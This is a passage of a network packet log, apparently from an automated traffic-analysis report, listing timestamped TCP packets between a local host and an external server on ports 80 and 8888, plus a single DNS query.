Jan 11, 2025 01:15:56.530615091 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.530621052 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.530621052 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.530630112 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.530642986 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.530657053 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.530697107 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.530709982 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.530723095 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.530735016 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.530745983 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.530760050 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.530771971 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.530774117 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.530858994 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.530858994 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.530886889 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.530908108 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.530926943 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.530937910 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.530950069 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.530961990 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.530965090 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.530965090 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.530975103 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.530992031 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.531004906 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.531017065 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.531028986 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.531040907 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.531053066 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.531053066 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.531053066 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.531058073 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.531146049 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.531284094 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.531297922 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.531308889 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.531328917 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.531331062 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.531339884 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.531347036 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.531363010 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.531373978 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.531385899 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.531397104 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.531410933 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.531413078 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.531413078 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.531426907 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.531440020 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.531470060 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.531481981 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.531493902 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.531512022 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.531522989 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.531538010 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.531543970 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.531543970 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.531543970 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.531625986 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.531642914 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.531646967 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.531661034 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.531672955 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.531686068 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.531716108 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.531716108 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.537115097 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.551935911 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.551954031 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.551975012 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.551986933 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.552026033 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.554796934 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.564057112 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.564094067 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.564146042 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.564187050 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.564187050 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.564192057 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.564219952 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.564301014 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.564327002 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.564349890 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.564356089 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.564366102 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.564383030 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.564414024 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.564440966 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.585441113 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.585468054 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.585479021 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.585491896 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.585513115 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.585529089 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.585540056 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.585553885 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.585581064 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.585616112 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.585756063 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.585768938 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.585782051 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.585877895 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.585891008 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.585913897 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.585916996 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.585916996 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.585932970 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.585947037 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.585958004 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.585963964 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.585972071 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.585983992 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.585984945 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.585999012 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.585999966 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.586013079 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.586025953 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.586052895 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.586057901 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.586057901 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.586081982 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.594769001 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.620245934 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.620270014 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.620284081 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.620296001 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.620309114 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.620321035 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.620335102 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.620354891 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.620398045 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.620417118 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.620420933 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.620420933 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.620430946 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.620443106 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.620472908 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.620472908 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.620474100 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.620486975 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.620507956 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.620520115 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.620533943 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.620546103 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.620595932 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.620595932 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.620595932 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.620629072 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.620640993 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.620651960 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.620680094 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.620680094 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.620701075 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.620713949 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.620726109 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.620764017 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.620764017 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.620786905 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.620857000 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.620857000 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.620876074 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.620889902 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.620901108 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.620913982 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.620918036 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.620934963 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.620974064 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.620987892 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.621007919 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.621021032 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.621040106 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.621052027 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.621064901 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.621064901 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.621066093 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.621064901 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.621064901 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.621098995 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.621098995 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.621113062 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.621200085 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.621201992 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.621220112 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.621232033 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.621253014 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.621253014 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.621265888 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.621270895 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.621278048 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.621292114 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.621301889 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.621368885 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.621390104 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.621390104 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.621422052 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.621434927 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.621454954 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.621454954 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.621465921 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.621479034 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.621485949 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.621490002 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.621524096 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.621543884 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.621654034 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.621675968 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.621690035 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.621701002 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.621716022 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.621737957 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.621747971 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.621747971 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.621752024 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.621763945 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.621778011 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.621798038 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.621870995 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.621870995 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.621890068 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.621987104 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.622000933 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.622023106 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.622042894 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.622050047 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.622051001 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.622061968 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.622075081 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.622082949 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.622096062 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.622107029 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.622119904 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.622123003 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.622123003 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.622123003 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.622132063 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.622143984 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.622159004 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.622184992 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.622194052 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.622194052 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.622283936 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.622287989 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.622307062 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.622320890 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.622322083 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.622334003 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.622347116 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.622359037 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.622474909 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.622474909 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.624291897 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.654973030 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.654989958 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.655003071 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.655014992 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.655029058 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.655040026 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.655055046 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.655087948 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.655162096 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.676249981 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.676265001 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.676278114 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.676290035 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.676301956 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.676314116 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.676325083 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.676331043 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.676338911 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.676455021 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.676465034 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.676476002 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.676491976 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.676491976 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.676491976 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.676495075 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.676510096 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.676522970 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.676534891 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.676543951 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.676553965 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.676562071 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.676565886 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.676578999 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.676590919 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.676625013 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.676625013 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.676755905 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.676768064 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.676781893 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.676791906 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.676841021 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.676841021 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.679333925 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.710961103 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.710990906 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.711004019 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.711054087 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.711066961 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.711091042 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.711106062 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.711107969 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.711107969 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.711107969 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.711117029 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.711128950 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.711138964 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.711150885 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.711163044 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.711174965 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.711184025 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.711184978 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.711184978 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.711199999 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.711208105 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.711218119 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.711230993 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.711242914 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.711252928 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.711275101 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.711275101 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.711275101 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.711338997 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.890388966 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:57.792561054 CET	49712	8888	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:57.797460079 CET	8888	49712	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:57.797554016 CET	49712	8888	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:57.798219919 CET	49712	8888	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:57.803028107 CET	8888	49712	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:58.586627960 CET	8888	49712	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:58.628375053 CET	49712	8888	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:58.930258989 CET	49712	8888	192.168.2.3	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 01:16:05.898999929 CET	52595	53	192.168.2.3	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 01:16:05.898999929 CET	192.168.2.3	1.1.1.1	0x71c	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
